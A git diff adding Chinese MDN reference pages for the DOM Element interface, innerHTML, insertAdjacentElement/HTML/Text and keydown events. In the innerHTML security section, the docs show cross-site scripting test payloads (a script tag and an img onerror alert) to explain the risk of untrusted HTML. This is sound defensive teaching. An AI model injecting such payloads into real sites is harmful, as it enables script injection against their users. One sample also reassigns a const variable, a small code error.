{{DOMxRef("Element.removeAttributeNS()")}}
+
Removes the attribute with the specified name and namespace, from the current node.
+
{{DOMxRef("Element.removeAttributeNode()")}} {{Obsolete_Inline}}
+
Removes the node representation of the named attribute from the current node.
+
{{DOMxRef("EventTarget.removeEventListener()")}}
+
Removes an event listener from the element.
+
{{DOMxRef("Element.requestFullscreen()")}} {{Experimental_Inline}}
+
Asynchronously asks the browser to make the element full-screen.
+
{{DOMxRef("Element.requestPointerLock()")}} {{Experimental_Inline}}
+
Allows to asynchronously ask for the pointer to be locked on the given element.
+
+ +
+
{{DOMxRef("Element.scroll()")}}
+
Scrolls to a particular set of coordinates inside a given element.
+
{{DOMxRef("Element.scrollBy()")}}
+
Scrolls an element by the given amount.
+
{{DOMxRef("Element.scrollIntoView()")}} {{Experimental_Inline}}
+
Scrolls the page until the element gets into the view.
+
{{DOMxRef("Element.scrollTo()")}}
+
Scrolls to a particular set of coordinates inside a given element.
+
{{DOMxRef("Element.setAttribute()")}}
+
Sets the value of a named attribute of the current node.
+
{{DOMxRef("Element.setAttributeNS()")}}
+
Sets the value of the attribute with the specified name and namespace, from the current node.
+
{{DOMxRef("Element.setAttributeNode()")}} {{Obsolete_Inline}}
+
Sets the node representation of the named attribute from the current node.
+
{{DOMxRef("Element.setAttributeNodeNS()")}} {{Obsolete_Inline}}
+
Sets the node representation of the attribute with the specified name and namespace, from the current node.
+
{{DOMxRef("Element.setCapture()")}} {{Non-standard_Inline}}
+
Sets up mouse event capture, redirecting all mouse events to this element.
+
{{DOMxRef("Element.setPointerCapture()")}}
+
Designates a specific element as the capture target of future pointer events.
+
{{DOMxRef("Element.toggleAttribute()")}}
+
Toggles a boolean attribute, removing it if it is present and adding it if it is not present, on the specified element.
+
+ +

事件

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
{{DOMxRef("Element/cancel_event", "cancel")}}
+
Fires on a {{HTMLElement("dialog")}} when the user instructs the browser that they wish to dismiss the current open dialog. For example, the browser might fire this event when the user presses the Esc key or clicks a "Close dialog" button which is part of the browser's UI.
+ Also available via the {{DOMxRef("GlobalEventHandlers/oncancel", "oncancel")}} property.
+
error
+
Fired when when a resource failed to load, or can't be used. For example, if a script has an execution error or an image can't be found or is invalid.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onerror", "onerror")}} property.
+
{{DOMxRef("Element/scroll_event", "scroll")}}
+
Fired when the document view or an element has been scrolled.
+ Also available via the {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} property.
+
{{DOMxRef("Element/select_event", "select")}}
+
Fired when some text has been selected.
+ Also available via the {{DOMxRef("GlobalEventHandlers.onselect", "onselect")}} property.
+
{{DOMxRef("Element/show_event", "show")}}
+
Fired when a contextmenu event was fired on/bubbled to an element that has a contextmenu attribute. {{deprecated_inline}}
+ Also available via the {{DOMxRef("GlobalEventHandlers.onshow", "onshow")}} property.
+
{{DOMxRef("Element/wheel_event","wheel")}}
+
Fired when the user rotates a wheel button on a pointing device (typically a mouse).
+ Also available via the {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}} property.
+
+ +

剪贴板事件

+ +
+
{{DOMxRef("Element/copy_event", "copy")}}
+
Fired when the user initiates a copy action through the browser's user interface.
+ Also available via the {{DOMxRef("HTMLElement/oncopy", "oncopy")}} property.
+
{{DOMxRef("Element/cut_event", "cut")}}
+
Fired when the user initiates a cut action through the browser's user interface.
+ Also available via the {{DOMxRef("HTMLElement/oncut", "oncut")}} property.
+
{{DOMxRef("Element/paste_event", "paste")}}
+
Fired when the user initiates a paste action through the browser's user interface.
+ Also available via the {{DOMxRef("HTMLElement/onpaste", "onpaste")}} property.
+
+ +

Composition events

+ +
+
{{DOMxRef("Element/compositionend_event", "compositionend")}}
+
Fired when a text composition system such as an {{glossary("input method editor")}} completes or cancels the current composition session.
+
{{DOMxRef("Element/compositionstart_event", "compositionstart")}}
+
Fired when a text composition system such as an {{glossary("input method editor")}} starts a new composition session.
+
{{DOMxRef("Element/compositionupdate_event", "compositionupdate")}}
+
Fired when a new character is received in the context of a text composition session controlled by a text composition system such as an {{glossary("input method editor")}}.
+
+ +

Focus events

+ +
+
{{DOMxRef("Element/blur_event", "blur")}}
+
Fired when an element has lost focus.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onblur", "onblur")}} property.
+
{{DOMxRef("Element/focus_event", "focus")}}
+
Fired when an element has gained focus.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onfocus", "onfocus")}} property
+
{{DOMxRef("Element/focusin_event", "focusin")}}
+
Fired when an element is about to gain focus.
+
{{DOMxRef("Element/focusout_event", "focusout")}}
+
Fired when an element is about to lose focus.
+
+ +

Fullscreen events

+ +
+
{{DOMxRef("Element/fullscreenchange_event", "fullscreenchange")}}
+
Sent to an {{DOMxRef("Element")}} when it transitions into or out of full-screen mode.
+ Also available via the {{DOMxRef("Element.onfullscreenchange", "onfullscreenchange")}} property.
+
{{DOMxRef("Element/fullscreenerror_event", "fullscreenerror")}}
+
Sent to an Element if an error occurs while attempting to switch it into or out of full-screen mode.
+ Also available via the {{DOMxRef("Element.onfullscreenerror", "onfullscreenerror")}} property.
+
+ +

键盘事件

+ +
+
{{DOMxRef("Element/keydown_event", "keydown")}}
+
Fired when a key is pressed.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onkeydown", "onkeydown")}} property.
+
{{DOMxRef("Element/keypress_event", "keypress")}}
+
Fired when a key that produces a character value is pressed down. {{deprecated_inline}}
+ Also available via the {{DOMxRef("GlobalEventHandlers/onkeypress", "onkeypress")}} property.
+
{{DOMxRef("Element/keyup_event", "keyup")}}
+
Fired when a key is released.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onkeyup", "onkeyup")}} property.
+
+ +

鼠标事件

+ +
+
{{DOMxRef("Element/auxclick_event", "auxclick")}}
+
Fired when a non-primary pointing device button (e.g., any mouse button other than the left button) has been pressed and released on an element.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onauxclick", "onauxclick")}} property.
+
{{DOMxRef("Element/click_event", "click")}}
+
Fired when a pointing device button (e.g., a mouse's primary button) is pressed and released on a single element.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onclick", "onclick")}} property.
+
{{DOMxRef("Element/contextmenu_event", "contextmenu")}}
+
Fired when the user attempts to open a context menu.
+ Also available via the {{DOMxRef("GlobalEventHandlers/oncontextmenu", "oncontextmenu")}} property.
+
{{DOMxRef("Element/dblclick_event", "dblclick")}}
+
Fired when a pointing device button (e.g., a mouse's primary button) is clicked twice on a single element.
+ Also available via the {{DOMxRef("GlobalEventHandlers/ondblclick", "ondblclick")}} property.
+
{{DOMxRef("Element/DOMActivate_event", "DOMActivate")}} {{Deprecated_Inline}}
+
Occurs when an element is activated, for instance, through a mouse click or a keypress.
+
{{DOMxRef("Element/mousedown_event", "mousedown")}}
+
Fired when a pointing device button is pressed on an element.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmousedown", "onmousedown")}} property.
+
{{DOMxRef("Element/mouseenter_event", "mouseenter")}}
+
Fired when a pointing device (usually a mouse) is moved over the element that has the listener attached.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmouseenter", "onmouseenter")}} property.
+
{{DOMxRef("Element/mouseleave_event", "mouseleave")}}
+
Fired when the pointer of a pointing device (usually a mouse) is moved out of an element that has the listener attached to it.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmouseleave", "onmouseleave")}} property.
+
{{DOMxRef("Element/mousemove_event", "mousemove")}}
+
Fired when a pointing device (usually a mouse) is moved while over an element.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmousemove", "onmousemove")}} property.
+
{{DOMxRef("Element/mouseout_event", "mouseout")}}
+
Fired when a pointing device (usually a mouse) is moved off the element to which the listener is attached or off one of its children.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmouseout", "onmouseout")}} property.
+
{{DOMxRef("Element/mouseover_event", "mouseover")}}
+
Fired when a pointing device is moved onto the element to which the listener is attached or onto one of its children.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmouseover", "onmouseover")}} property.
+
{{DOMxRef("Element/mouseup_event", "mouseup")}}
+
Fired when a pointing device button is released on an element.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onmouseup", "onmouseup")}} property.
+
{{DOMxRef("Element/webkitmouseforcechanged_event", "webkitmouseforcechanged")}}
+
Fired each time the amount of pressure changes on the trackpadtouchscreen.
+
{{DOMxRef("Element/webkitmouseforcedown_event", "webkitmouseforcedown")}}
+
Fired after the mousedown event as soon as sufficient pressure has been applied to qualify as a "force click".
+
{{DOMxRef("Element/webkitmouseforcewillbegin_event", "webkitmouseforcewillbegin")}}
+
Fired before the {{DOMxRef("Element/mousedown_event", "mousedown")}} event.
+
{{DOMxRef("Element/webkitmouseforceup_event", "webkitmouseforceup")}}
+
Fired after the {{DOMxRef("Element/webkitmouseforcedown_event", "webkitmouseforcedown")}} event as soon as the pressure has been reduced sufficiently to end the "force click".
+
+ +

Touch events

+ +
+
{{DOMxRef("Element/touchcancel_event", "touchcancel")}}
+
Fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
+ Also available via the {{DOMxRef("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}} property.
+
{{DOMxRef("Element/touchend_event", "touchend")}}
+
Fired when one or more touch points are removed from the touch surface.
+ Also available via the {{DOMxRef("GlobalEventHandlers/ontouchend", "ontouchend")}} property
+
{{DOMxRef("Element/touchmove_event", "touchmove")}}
+
Fired when one or more touch points are moved along the touch surface.
+ Also available via the {{DOMxRef("GlobalEventHandlers/ontouchmove", "ontouchmove")}} property
+
{{DOMxRef("Element/touchstart_event", "touchstart")}}
+
Fired when one or more touch points are placed on the touch surface.
+ Also available via the {{DOMxRef("GlobalEventHandlers/ontouchstart", "ontouchstart")}} property
+
+ +
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范文档状态说明
{{SpecName("CSS4 Pseudo-Elements", '#window-interface', 'Element')}}{{Spec2("CSS4 Pseudo-Elements")}}Added the pseudo() method.
{{SpecName("Web Animations", '', '')}}{{Spec2("Web Animations")}}Added the getAnimations() method.
{{SpecName('Undo Manager', '', 'Element')}}{{Spec2('Undo Manager')}}Added the undoScope and undoManager properties.
{{SpecName('Pointer Events 2', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('Pointer Events 2')}}Added the following event handlers: ongotpointercapture and onlostpointercapture.
+ Added the following methods: setPointerCapture() and releasePointerCapture().
{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('Pointer Events')}}Added the following event handlers: ongotpointercapture and onlostpointercapture.
+ Added the following methods: setPointerCapture() and releasePointerCapture().
{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}{{Spec2('Selectors API Level 1')}}Added the following methods: querySelector() and querySelectorAll().
{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}{{Spec2('Pointer Lock')}}Added the requestPointerLock() method.
{{SpecName('Fullscreen', '#api', 'Element')}}{{Spec2('Fullscreen')}}Added the requestFullscreen() method.
{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('DOM Parsing')}}Added the following properties: innerHTML, and outerHTML.
+ Added the following method: insertAdjacentHTML().
{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}{{Spec2('CSSOM View')}}Added the following properties: scrollTop, scrollLeft, scrollWidth, scrollHeight, clientTop, clientLeft, clientWidth, and clientHeight.
+ Added the following methods: getClientRects(), getBoundingClientRect(), scroll(), scrollBy(), scrollTo() and scrollIntoView().
{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}{{Spec2('Element Traversal')}}Added inheritance of the {{DOMxRef("ElementTraversal")}} interface.
{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}{{Spec2('DOM WHATWG')}}Added the following methods: closest(), insertAdjacentElement() and insertAdjacentText().
+ Moved hasAttributes() from the Node interface to this one.
{{SpecName("DOM4", "#interface-element", "Element")}}{{Spec2("DOM4")}}Removed the following methods: setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode().
+ Modified the return value of getElementsByTagName() and getElementsByTagNameNS().
+ Removed the schemaTypeInfo property.
{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM3 Core')}}Added the following methods: setIdAttribute(), setIdAttributeNS(), and setIdAttributeNode(). These methods were never implemented and have been removed in later specifications.
+ Added the schemaTypeInfo property. This property was never implemented and has been removed in later specifications.
{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}{{Spec2('DOM2 Core')}}The normalize() method has been moved to {{DOMxRef("Node")}}.
{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element")}}

diff --git a/files/zh-cn/web/api/element/innerhtml/index.html b/files/zh-cn/web/api/element/innerhtml/index.html new file mode 100644 index 0000000000..507d611b40 --- /dev/null +++ b/files/zh-cn/web/api/element/innerhtml/index.html @@ -0,0 +1,218 @@ +--- +title: element.innerHTML +slug: Web/API/Element/innerHTML +tags: + - Element.innerHTML + - Element.insertAdjacentHTML() +translation_of: Web/API/Element/innerHTML +--- +

{{APIRef("DOM")}}

+ +

Element.innerHTML 属性设置或获取HTML语法表示的元素的后代。

+ +
+

Note: 如果一个 {{HTMLElement("div")}}, {{HTMLElement("span")}}, 或 {{HTMLElement("noembed")}} 节点有一个文本子节点,该节点包含字符 (&), (<),  或(>)innerHTML 将这些字符分别返回为&amp;, &lt; 和 &gt; 。使用{{domxref("Node.textContent")}}  可获取一个这些文本节点内容的正确副本。

+
+ +

如果要向一个元素中插入一段 HTML,而不是替换它的内容,那么请使用 {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}} 方法。

+ +

语法

+ +
const content = element.innerHTML;
+element.innerHTML = htmlString;
+
+ +

+ +

{{domxref("DOMString")}} 包含元素后代的HTML序列。设置元素的 innerHTML 将会删除所有该元素的后代并以上面给出的 htmlString 替代。

+ +

例外

+ +

SyntaxError 

+ +

        当 HTML 没有被正确标记时,设置 innerHTML 将会抛出语法错误。

+ +

NoModificationAllowedError 

+ +

        当父元素是 {{domxref("Document")}} 时,设置 innerHTML 将会提示不允许修改。

+ +

使用说明

+ +

innerHTML 属性可以用来检查当前页面自最初加载到当前的 HTML 源码的变化。

+ +

获取元素的HTML

+ +

获取 innerHTML 会导致用户代理序列化 由元素后代组成的 HTML 或者 XML 。返回结果字符串。

+ +
let contents = myElement.innerHTML;
+
+ +

查看元素内容节点的 HTML 标记。

+ +
+

:返回的 HTML 或者 XML 片段是基于当前元素的内容生成的,所以返回的标记和格式可能与原始页面的标记不匹配。

+
+ +

替换元素的内容

+ +

设置 innerHTML 的值可以让你轻松地将当前元素的内容替换为新的内容。

+ +

举个例子来说,你可以通过文档 {{domxref("Document.body", "body")}}  属性删除 body 的全部内容。

+ +
document.body.innerHTML = "";
+
+ +

下面这个例子,首先获取文档当前的 HTML 标记并替换 "<" 字符为 HTML 实体 "&lt;",从本质上来看,它是将 HTML 转换成原始文本,将其包裹在 {{HTMLElement("pre")}} 元素中。然后 innerHTML 的值被替换成新的字符串。最后,文档的内容被替换为页面显示源码。

+ +
document.documentElement.innerHTML = "<pre>" +
+         document.documentElement.innerHTML.replace(/</g,"&lt;") +
+            "</pre>";
+
+ +

其他:

+ +

当给 innerHTML 设置一个值的时候到底发生了什么?用户代理按照以下步骤:

+ +
    +
  1. 给定的值被解析为 HTML 或者 XML (取决于文档类型),结果就是 {{domxref("DocumentFragment")}} 对象代表元素新设置的 DOM 节点。
  2. +
  3. 如果元素内容被替换成 {{HTMLElement("template")}}  元素,<template> 元素的 {{domxref("HTMLTemplateElement.content", "content")}} 属性会被替换为步骤1中创建的新的 DocumentFragment
  4. +
  5. 对于其他所有元素,元素的内容都被替换为新的 DocumentFragment节点。
  6. +
+ +

安全问题

+ +

用 innerHTML 插入文本到网页中并不罕见。但这有可能成为网站攻击的媒介,从而产生潜在的安全风险问题。

+ +
const name = "John";
+// assuming 'el' is an HTML DOM element
+el.innerHTML = name; // harmless in this case
+
+// ...
+
+name = "<script>alert('I am John in an annoying alert!')</script>";
+el.innerHTML = name; // harmless in this case
+
+ +

尽管这看上去像 {{interwiki("wikipedia", "cross-site scripting")}} 攻击,结果并不会导致什么。HTML 5 中指定不执行由 innerHTML 插入的 {{HTMLElement("script")}} 标签。

+ +

然而,有很多不依赖 {{HTMLElement("script")}} 标签去执行 JavaScript 的方式。所以当你使用innerHTML 去设置你无法控制的字符串时,这仍然是一个安全问题。例如:

+ +
const name = "<img src='x' onerror='alert(1)'>";
+el.innerHTML = name; // shows the alert
+
+ +

基于这个原因,当插入纯文本时,建议不要使用 innerHTML 。取而代之的是使用 {{domxref("Node.textContent")}} ,它不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。

+ +
+

警告:如果你的项目将要经过各种形式的安全检查的话,使用 innerHTML 可能导致代码被拒绝。例如,如果你在浏览器扩展使用 innerHTML 并将扩展提交到 addons.mozilla.org 的话,它将会在自动审核过程中被拒绝。

+
+ +

例子

+ +

这个例子使用 innerHTML 创建一种机制用于将消息记录到网页上的框中。

+ +

JavaScript

+ +
function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "<br/>";
+}
+
+log("Logging mouse events inside this container...");
+
+ +

log() 函数通过 {{jsxref("Date")}} 对象的 {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}} 方法获取当前时间,然后将消息文本和时间戳放一起构建一个字符串,最后将其追加到具有 “log” 类的框上。

+ +

现在添加第二个方法:记录基于事件 (比如 {{event("mousedown")}}, {{event("click")}}, 和 {{event("mouseenter")}}) 的 {{domxref("MouseEvent")}} 的信息。

+ +
function logEvent(event) {
+  var msg = "Event <strong>" + event.type + "</strong> at <em>" +
+            event.clientX + ", " + event.clientY + "</em>";
+  log(msg);
+}
+
+ +

然后我们使用它作为包含我们消息的框上的鼠标事件的事件处理程序:

+ +
var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);
+
+ +

HTML

+ +

这个例子的 HTML 代码就相当简洁了:

+ +
<div class="box">
+  <div><strong>Log:</strong></div>
+  <div class="log"></div>
+</div>
+
+ +

具有 “box” 类的 {{HTMLElement("div")}} 容器仅仅是出于布局考虑,用一个框来展示其内容。具有 “log” 类的 <div> 元素是作为消息本身的内容框。

+ +

CSS

+ +

下面是这个例子的 CSS:

+ +
.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}
+
+ +

结果

+ +

结果就像下面展示的那样。你可以通过移动鼠标进出盒子,点击盒子等等来查看记录输出。

+ +

{{EmbedLiveSample("Example", 640, 350)}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}{{Spec2('DOM Parsing')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.innerHTML")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/insertadjacentelement/index.html b/files/zh-cn/web/api/element/insertadjacentelement/index.html new file mode 100644 index 0000000000..da93a6ebb0 --- /dev/null +++ b/files/zh-cn/web/api/element/insertadjacentelement/index.html @@ -0,0 +1,164 @@ +--- +title: Element.insertAdjacentElement() +slug: Web/API/Element/insertAdjacentElement +tags: + - Element.insertAdjacentElement() + - insertAdjacentElement() +translation_of: Web/API/Element/insertAdjacentElement +--- +

{{APIRef("DOM")}}

+ +

insertAdjacentElement() 方法将一个给定的元素节点插入到相对于被调用的元素的给定的一个位置。

+ +

语法

+ +
element.insertAdjacentElement(position, element);
+ +

参数

+ +
+
position
+
A {{domxref("DOMString")}} 表示相对于该元素的位置;必须是以下字符串之一: +
    +
  • 'beforebegin': 在该元素本身的前面.
  • +
  • 'afterbegin':只在该元素当中, 在该元素第一个子孩子前面.
  • +
  • 'beforeend':只在该元素当中, 在该元素最后一个子孩子后面.
  • +
  • 'afterend': 在该元素本身的后面.
  • +
+
+
element
+
要插入到树中的元素.
+
+ +

返回值

+ +

插入的元素,插入失败则返回null.

+ +

异常

+ + + + + + + + + + + + + + + + + + +
异常说明
SyntaxError插入的位置是一个无法识别的值。
TypeError插入的元素不是一个有效元素。
+ +

位置命名的可视化展示

+ +
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+ +
注: 当节点处于DOM树中而且有一个父元素的时候 beforebegin 和 afterend操作才能起作用。
+ +

例子

+ +
beforeBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  activeElem.insertAdjacentElement('beforebegin',tempDiv);
+  setListener(tempDiv);
+});
+
+afterBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  activeElem.insertAdjacentElement('afterend',tempDiv);
+  setListener(tempDiv);
+});
+ +

看看我们在 Github (也可以参考 源码)上的 insertAdjacentElement.html 演示。在一个容器当中我们有一组{{htmlelement("div")}} 元素。 点击其中一个div时,这个容器会处于选中状态,然后你就可以按下Insert before 或Insert after 按钮通过 insertAdjacentElement()方法来把一个新的divs 插入到选中的元素前面或者后面。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态批注
{{SpecName('DOM WHATWG', '#dom-element-insertadjacentelement', 'insertAdjacentElement()')}}{{ Spec2('DOM WHATWG') }} 
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("48.0") }}8{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("48.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/insertadjacenthtml/index.html b/files/zh-cn/web/api/element/insertadjacenthtml/index.html new file mode 100644 index 0000000000..e0ea9cda90 --- /dev/null +++ b/files/zh-cn/web/api/element/insertadjacenthtml/index.html @@ -0,0 +1,100 @@ +--- +title: element.insertAdjacentHTML +slug: Web/API/Element/insertAdjacentHTML +tags: + - API + - DOM + - DOM Element Methods + - HTML5 & ES6 + - Method + - insertAdjacentHTML +translation_of: Web/API/Element/insertAdjacentHTML +--- +
{{APIRef("DOM")}}
+ +

insertAdjacentHTML() 方法将指定的文本解析为 {{domxref("Element")}} 元素,并将结果节点插入到DOM树中的指定位置。它不会重新解析它正在使用的元素,因此它不会破坏元素内的现有元素。这避免了额外的序列化步骤,使其比直接使用innerHTML操作更快。

+ +

语法

+ +
element.insertAdjacentHTML(position, text);
+
+ +
+
position
+
一个 {{domxref("DOMString")}},表示插入内容相对于元素的位置,并且必须是以下字符串之一: +
    +
  •   'beforebegin':元素自身的前面。
  • +
  • 'afterbegin'插入元素内部的第一个子节点之前
  • +
  • 'beforeend':插入元素内部的最后一个子节点之后。
  • +
  • 'afterend':元素自身的后面。  
  • +
+
+
text
+
是要被解析为HTML或XML元素,并插入到DOM树中的 {{domxref("DOMString")}}。
+
+ +

位置名称的可视化

+ +
<!-- beforebegin -->
+<p>
+  <!-- afterbegin -->
+  foo
+  <!-- beforeend -->
+</p>
+<!-- afterend -->
+
+ +
注意: beforebegin和afterend位置,仅在节点在树中且节点具有一个parent元素时工作。
+ +

示例

+ +
// 原为 <div id="one">one</div>
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '<div id="two">two</div>');
+
+// 此时,新结构变成:
+// <div id="one">one</div><div id="two">two</div>
+
+ +

注意

+ +

安全问题

+ +

使用 insertAdjacentHTML 插入用户输入的HTML内容的时候,需要转义之后才能使用。

+ +

如果只是为了插入文本内容(而不是HTML节点),不建议使用这个方法,建议使用node.textContent 或者 node.insertAdjacentText()。因为这样不需要经过HTML解释器的转换,性能会好一点。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#insertadjacenthtml()', 'Element.insertAdjacentHTML()')}}{{ Spec2('DOM Parsing') }}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Element.insertAdjacentHTML")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/insertadjacenttext/index.html b/files/zh-cn/web/api/element/insertadjacenttext/index.html new file mode 100644 index 0000000000..39d8af60fe --- /dev/null +++ b/files/zh-cn/web/api/element/insertadjacenttext/index.html @@ -0,0 +1,151 @@ +--- +title: Element.insertAdjacentText() +slug: Web/API/Element/insertAdjacentText +tags: + - Element.insertAdjacentText() +translation_of: Web/API/Element/insertAdjacentText +--- +

{{APIRef("DOM")}}

+ +

insertAdjacentText() 方法将一个给定的文本节点插入在相对于被调用的元素给定的位置。

+ +

句法

+ +
element.insertAdjacentText(position, element);
+ +

参数

+ +
+
position
+
A {{domxref("DOMString")}} representing the position relative to the element; must be one of the following strings: +
    +
  • 'beforebegin': Before the element itself.
  • +
  • 'afterbegin': Just inside the element, before its first child.
  • +
  • 'beforeend': Just inside the element, after its last child.
  • +
  • 'afterend': After the element itself.
  • +
+
+
element
+
A {{domxref("DOMString")}} representing the text to be inserted into the tree.
+
+ +

返回值

+ +

Void.

+ +

例外

+ + + + + + + + + + + + + + +
ExceptionExplanation
SyntaxErrorThe position specified is not a recognised value.
+ +

Visualization of position names

+ +
<!-- beforebegin -->
+<p>
+<!-- afterbegin -->
+foo
+<!-- beforeend -->
+</p>
+<!-- afterend -->
+ +
注意:只有当节点位于树中并具有元素父元素时,beforebegin和afterend位置才能工作。
+ +

范例

+ +
beforeBtn.addEventListener('click', function() {
+  para.insertAdjacentText('afterbegin',textInput.value);
+});
+
+afterBtn.addEventListener('click', function() {
+  para.insertAdjacentText('beforeend',textInput.value);
+});
+ +

Have a look at our insertAdjacentText.html demo on GitHub (see the source code too.) Here we have a simple paragraph. You can enter some text into the form element, then press the Insert before and Insert after buttons to insert it before or after the existing paragraph text using insertAdjacentText(). Note that the existing text node is not added to — further text nodes are created containing the new additions.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-insertadjacenttext', 'insertAdjacentText()')}}{{ Spec2('DOM WHATWG') }} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop("48.0") }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("48.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/element/keydown_event/index.html b/files/zh-cn/web/api/element/keydown_event/index.html new file mode 100644 index 0000000000..2576b577f2 --- /dev/null +++ b/files/zh-cn/web/api/element/keydown_event/index.html @@ -0,0 +1,103 @@ +--- +title: 'Element: 键盘按下事件' +slug: Web/API/Element/keydown_event +translation_of: Web/API/Element/keydown_event +--- +
{{APIRef}}
+ +
+ +

keydown事件触发于键盘按键按下的时候。

+ +

与{{Event("keypress")}} 事件不同的是, 所有按键均会触发keydown事件,无论这些按键是否会产生字符值。

+ + + + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("KeyboardEvent")}}
Event handler property{{domxref("GlobalEventHandlers.onkeydown", "onkeydown")}}
+ +

keydown 与 keyup 事件捕获了键盘按键的操作,而 keypress 反映了具体输入某个字符的值。比如, 小写"a" 在keydown 和 keyup事件中输出的是大写A的Unicode编码65,但是在keypress中输出的就是小写"a"的Unicode编码97。大写 "A"在这些事件中输出的都是Unicode编码65。

+ +

键盘事件只能由 <inputs>, <textarea> 以及任何具有  contentEditable 或 tabindex="-1"属性的组件触发。

+ +

自 Firefox 65起,  keydown 与 keyup 事件会在IME(输入法编辑器)复合事件中被触发,目的是为了提升CJKT(中日韩台地区)用户跨浏览器性能, ({{bug(354358)}},更多详情访问 keydown and keyup events are now fired during IME composition ). 若要忽略复合事件中所有 keydown 事件, 可以按照如下代码修改 (229是某个在IME中触发的键盘事件对应的 keyCode):

+ +
eventTarget.addEventListener("keydown", event => {
+  if (event.isComposing || event.keyCode === 229) {
+    return;
+  }
+  // do something
+});
+
+ +

示例

+ +

addEventListener keydown 示例

+ +

这个例子展示了当你在{{HtmlElement("input")}}元素中按下一个按键时, {{domxref("KeyboardEvent.code")}} 的取值 

+ +
<input placeholder="Click here, then press down a key." size="40">
